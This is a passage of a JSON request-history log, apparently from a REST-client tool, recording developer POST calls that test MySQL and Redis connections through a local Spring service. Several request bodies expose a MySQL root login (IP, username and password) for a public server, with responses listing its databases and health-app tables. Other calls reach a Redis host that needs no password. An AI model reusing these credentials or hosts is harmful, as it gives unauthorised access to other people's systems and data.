\\\"follow-up\\\",\\n \\\"goods\\\",\\n \\\"mall\\\",\\n \\\"mall-cloud\\\",\\n \\\"mall-config\\\",\\n \\\"mall-seata\\\",\\n \\\"mall_product\\\",\\n \\\"month6\\\",\\n \\\"mysql\\\",\\n \\\"performance_schema\\\",\\n \\\"plm_material\\\",\\n \\\"product\\\",\\n \\\"producth\\\",\\n \\\"rule\\\",\\n \\\"ry-cloud\\\",\\n \\\"ry-config\\\",\\n \\\"seata\\\",\\n \\\"sky_db\\\",\\n \\\"sys\\\",\\n \\\"xxl_job\\\",\\n \\\"yuekao\\\",\\n \\\"zhou1\\\",\\n \\\"zhou2\\\",\\n \\\"zhou3\\\"\\n ]\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":20.0,\"minute\":36.0,\"second\":48.0,\"nano\":5.312185E8}}},{\"url\":\"http://localhost:8886/findDatabaseTable\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"\\\",\\n \\\"url\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8886/findDatabaseTable\\n\\n数据库密码不能为空, 驱动类不能为空, 数据库连接地址不能为空, 数据库用户名不能为空\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":20.0,\"minute\":56.0,\"second\":25.0,\"nano\":3.12132E7}}},{\"url\":\"http://localhost:8886/findDatabaseTable\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"com.mysql.cj.jdbc.Driver\\\",\\n \\\"url\\\": \\\"jdbc:mysql://182.254.221.163:3306/\\\",\\n \\\"username\\\": \\\"root\\\",\\n \\\"password\\\": \\\"lzz@123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": [\\n \\\"information_schema\\\",\\n \\\"etl\\\",\\n \\\"health\\\",\\n \\\"mall\\\",\\n \\\"mall-cloud\\\",\\n \\\"mall-product\\\",\\n \\\"mall-search\\\",\\n \\\"mall-seata\\\",\\n \\\"mysql\\\",\\n \\\"nacos_config\\\",\\n \\\"performance_schema\\\",\\n \\\"plm_material\\\",\\n \\\"product\\\",\\n \\\"ry-cloud\\\",\\n \\\"seata\\\",\\n \\\"skywalking\\\",\\n \\\"sys\\\",\\n \\\"xxl_job\\\",\\n \\\"yuekao\\\"\\n ]\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":20.0,\"minute\":57.0,\"second\":43.0,\"nano\":4.081869E8}}},{\"url\":\"http://localhost:8886/findDatabaseTable\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"com.mysql.cj.jdbc.Driver\\\",\\n \\\"url\\\": \\\"jdbc:mysql://182.254.221.163:3306/health\\\",\\n \\\"username\\\": \\\"root\\\",\\n \\\"password\\\": \\\"lzz@123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": [\\n \\\"information_schema\\\",\\n \\\"etl\\\",\\n \\\"health\\\",\\n \\\"mall\\\",\\n \\\"mall-cloud\\\",\\n \\\"mall-product\\\",\\n \\\"mall-search\\\",\\n \\\"mall-seata\\\",\\n \\\"mysql\\\",\\n \\\"nacos_config\\\",\\n \\\"performance_schema\\\",\\n \\\"plm_material\\\",\\n \\\"product\\\",\\n \\\"ry-cloud\\\",\\n \\\"seata\\\",\\n \\\"skywalking\\\",\\n \\\"sys\\\",\\n \\\"xxl_job\\\",\\n \\\"yuekao\\\"\\n ]\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":20.0,\"minute\":58.0,\"second\":20.0,\"nano\":6.477346E8}}},{\"url\":\"http://localhost:8886/findDatabaseTable\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"com.mysql.cj.jdbc.Driver\\\",\\n \\\"url\\\": \\\"jdbc:mysql://182.254.221.163:3306\\\",\\n \\\"username\\\": \\\"root\\\",\\n \\\"password\\\": \\\"lzz@123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": [\\n \\\"information_schema\\\",\\n \\\"etl\\\",\\n \\\"health\\\",\\n \\\"mall\\\",\\n \\\"mall-cloud\\\",\\n \\\"mall-product\\\",\\n \\\"mall-search\\\",\\n \\\"mall-seata\\\",\\n \\\"mysql\\\",\\n \\\"nacos_config\\\",\\n \\\"performance_schema\\\",\\n \\\"plm_material\\\",\\n \\\"product\\\",\\n \\\"ry-cloud\\\",\\n \\\"seata\\\",\\n \\\"skywalking\\\",\\n \\\"sys\\\",\\n \\\"xxl_job\\\",\\n \\\"yuekao\\\"\\n ]\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":20.0,\"minute\":58.0,\"second\":35.0,\"nano\":6.607178E8}}},{\"url\":\"http://localhost:8886/findDatabaseTable\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"com.mysql.cj.jdbc.Driver\\\",\\n \\\"url\\\": \\\"jdbc:mysql://182.254.221.163:3306/\\\",\\n \\\"username\\\": \\\"root\\\",\\n \\\"password\\\": \\\"lzz@123\\\",\\n \\\"tableName\\\":\\\"health\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": [\\n \\\"ef_completed_questionnaire_answer\\\",\\n \\\"ef_followup_plan\\\",\\n \\\"ef_followup_plan_setting\\\",\\n \\\"ef_followup_task\\\",\\n \\\"ef_followup_task_item\\\",\\n \\\"ef_followup_task_item_setting\\\",\\n \\\"ef_followup_task_setting\\\",\\n \\\"ef_questionnaire\\\",\\n \\\"ef_questionnaire_option\\\",\\n \\\"ef_questionnaire_question\\\",\\n \\\"ef_questionnaire_section\\\",\\n \\\"ef_questionnaire_template\\\",\\n \\\"t_brank\\\",\\n \\\"t_community\\\",\\n \\\"t_community_explain\\\",\\n \\\"t_community_search\\\",\\n \\\"t_consult\\\",\\n \\\"t_consult_chat\\\",\\n \\\"t_department_disease\\\",\\n \\\"t_dictionary\\\",\\n \\\"t_disease\\\",\\n \\\"t_drug\\\",\\n \\\"t_drug_type\\\",\\n \\\"t_evaluate\\\",\\n \\\"t_explain_praise\\\",\\n \\\"t_file\\\",\\n \\\"t_file_sharding\\\",\\n \\\"t_gift\\\",\\n \\\"t_hb_log\\\",\\n \\\"t_historical_consultation\\\",\\n \\\"t_menu\\\",\\n \\\"t_orders\\\",\\n \\\"t_role\\\",\\n \\\"t_role_menu\\\",\\n \\\"t_system_news\\\",\\n \\\"t_user\\\",\\n \\\"t_user_auto_reply\\\",\\n \\\"t_user_collect\\\",\\n \\\"t_user_department\\\",\\n \\\"t_user_gift\\\",\\n \\\"t_user_hospital\\\",\\n \\\"t_user_job\\\",\\n \\\"t_user_role\\\",\\n \\\"t_video\\\",\\n \\\"t_video_comments\\\",\\n \\\"t_wallet_brank\\\",\\n \\\"t_wallet_info\\\",\\n \\\"t_withdraw_log\\\"\\n ]\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":21.0,\"minute\":34.0,\"second\":36.0,\"nano\":7.434797E8}}}],\"/test-database-mysql\":[{\"url\":\"http://localhost:8886/test-database-mysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"\\\",\\n \\\"url\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 500,\\n \\\"msg\\\": \\\"操作异常\\\",\\n \\\"data\\\": null\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":20.0,\"minute\":39.0,\"second\":5.0,\"nano\":6.72859E7}}},{\"url\":\"http://localhost:8886/test-database-mysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"\\\",\\n \\\"url\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 500,\\n \\\"msg\\\": \\\"操作异常\\\",\\n \\\"data\\\": null\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":20.0,\"minute\":43.0,\"second\":49.0,\"nano\":4.508657E8}}},{\"url\":\"http://localhost:8886/test-database-mysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"\\\",\\n \\\"url\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 500,\\n \\\"msg\\\": \\\"操作异常\\\",\\n \\\"data\\\": null\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":20.0,\"minute\":44.0,\"second\":21.0,\"nano\":7.852463E8}}},{\"url\":\"http://localhost:8886/test-database-mysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"\\\",\\n \\\"url\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8886/test-database-mysql\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eFri Jun 21 20:49:12 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dBad Request, status\\u003d400).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":20.0,\"minute\":49.0,\"second\":12.0,\"nano\":8.879368E8}}},{\"url\":\"http://localhost:8886/test-database-mysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"\\\",\\n \\\"url\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8886/test-database-mysql\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eFri Jun 21 20:49:28 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dBad Request, status\\u003d400).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":20.0,\"minute\":49.0,\"second\":28.0,\"nano\":8.304501E8}}},{\"url\":\"http://localhost:8886/test-database-mysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"\\\",\\n \\\"url\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8886/test-database-mysql\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eFri Jun 21 20:49:59 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dBad Request, status\\u003d400).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":20.0,\"minute\":49.0,\"second\":59.0,\"nano\":9.699223E8}}},{\"url\":\"http://localhost:8886/test-database-mysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"\\\",\\n \\\"url\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8886/test-database-mysql\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eFri Jun 21 20:53:52 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dBad Request, status\\u003d400).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":20.0,\"minute\":53.0,\"second\":52.0,\"nano\":4.422725E8}}},{\"url\":\"http://localhost:8886/test-database-mysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"\\\",\\n \\\"url\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8886/test-database-mysql\\n\\n驱动类不能为空, 数据库用户名不能为空, 数据库密码不能为空, 数据库连接地址不能为空\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":20.0,\"minute\":55.0,\"second\":0.0,\"nano\":4.917924E8}}},{\"url\":\"http://localhost:8886/test-database-mysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"\\\",\\n \\\"url\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8886/test-database-mysql\\n\\n数据库密码不能为空, 数据库用户名不能为空, 数据库连接地址不能为空, 驱动类不能为空\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":20.0,\"minute\":56.0,\"second\":20.0,\"nano\":7.39437E7}}},{\"url\":\"http://localhost:8886/test-database-mysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"com.mysql.cj.jdbc.Driver\\\",\\n \\\"url\\\": \\\"jdbc:mysql://182.254.221.163:3306/\\\",\\n \\\"username\\\": \\\"root\\\",\\n \\\"password\\\": \\\"lzz@123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": null\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":20.0,\"minute\":57.0,\"second\":9.0,\"nano\":3.471744E8}}},{\"url\":\"http://localhost:8886/test-database-mysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"com.mysql.cj.jdbc.Driver\\\",\\n \\\"url\\\": \\\"jdbc:mysql://182.254.221.163:3306/\\\",\\n \\\"username\\\": \\\"root\\\",\\n \\\"password\\\": \\\"lzz@123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": null\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":20.0,\"minute\":57.0,\"second\":15.0,\"nano\":9.596244E8}}},{\"url\":\"http://localhost:8886/test-database-mysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"com.mysql.cj.jdbc.Driver\\\",\\n \\\"url\\\": \\\"jdbc:mysql://182.254.221.163:3306/\\\",\\n \\\"username\\\": \\\"root\\\",\\n \\\"password\\\": \\\"lzz@123\\\",\\n \\\"tableName\\\":\\\"health\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": \\\"连接成功\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":21.0,\"minute\":34.0,\"second\":26.0,\"nano\":1.512348E8}}}],\"/testDatabaseMysql\":[{\"url\":\"http://localhost:8886/testDatabaseMysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"\\\",\\n \\\"url\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\",\\n \\\"tableName\\\": \\\"\\\",\\n \\\"warehouseName\\\": \\\"\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8886/testDatabaseMysql\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eSat Jun 22 12:34:07 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dBad Request, status\\u003d400).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":22.0},\"time\":{\"hour\":12.0,\"minute\":34.0,\"second\":7.0,\"nano\":9.278628E8}}},{\"url\":\"http://localhost:8886/testDatabaseMysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"\\\",\\n \\\"url\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\",\\n \\\"tableName\\\": \\\"\\\",\\n \\\"warehouseName\\\": \\\"\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8886/testDatabaseMysql\\n\\n驱动类不能为空, 数据库连接地址不能为空, 数据库用户名不能为空, 数据库密码不能为空\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":22.0},\"time\":{\"hour\":12.0,\"minute\":35.0,\"second\":17.0,\"nano\":7.667724E8}}},{\"url\":\"http://localhost:8886/testDatabaseMysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"\\\",\\n \\\"url\\\": \\\"\\\",\\n \\\"username\\\": \\\"\\\",\\n \\\"password\\\": \\\"\\\",\\n \\\"tableName\\\": \\\"\\\",\\n \\\"warehouseName\\\": \\\"\\\"\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8886/testDatabaseMysql\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eSat Jun 22 12:39:36 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dInternal Server Error, status\\u003d500).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":22.0},\"time\":{\"hour\":12.0,\"minute\":39.0,\"second\":36.0,\"nano\":4.477235E8}}}],\"/testDatabaseRedis\":[{\"url\":\"http://localhost:8886/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": \\\"PONG\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":9.0,\"minute\":6.0,\"second\":59.0,\"nano\":5.613751E8}}},{\"url\":\"http://localhost:8886/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": \\\"PONG\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":9.0,\"minute\":7.0,\"second\":8.0,\"nano\":5.933406E8}}},{\"url\":\"http://localhost:8886/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": \\\"PONG\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":9.0,\"minute\":7.0,\"second\":9.0,\"nano\":4684400.0}}},{\"url\":\"http://localhost:8886/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": \\\"PONG\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":9.0,\"minute\":7.0,\"second\":9.0,\"nano\":1.534124E8}}},{\"url\":\"http://localhost:8886/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": \\\"PONG\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":9.0,\"minute\":7.0,\"second\":9.0,\"nano\":3.243269E8}}},{\"url\":\"http://localhost:8886/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": 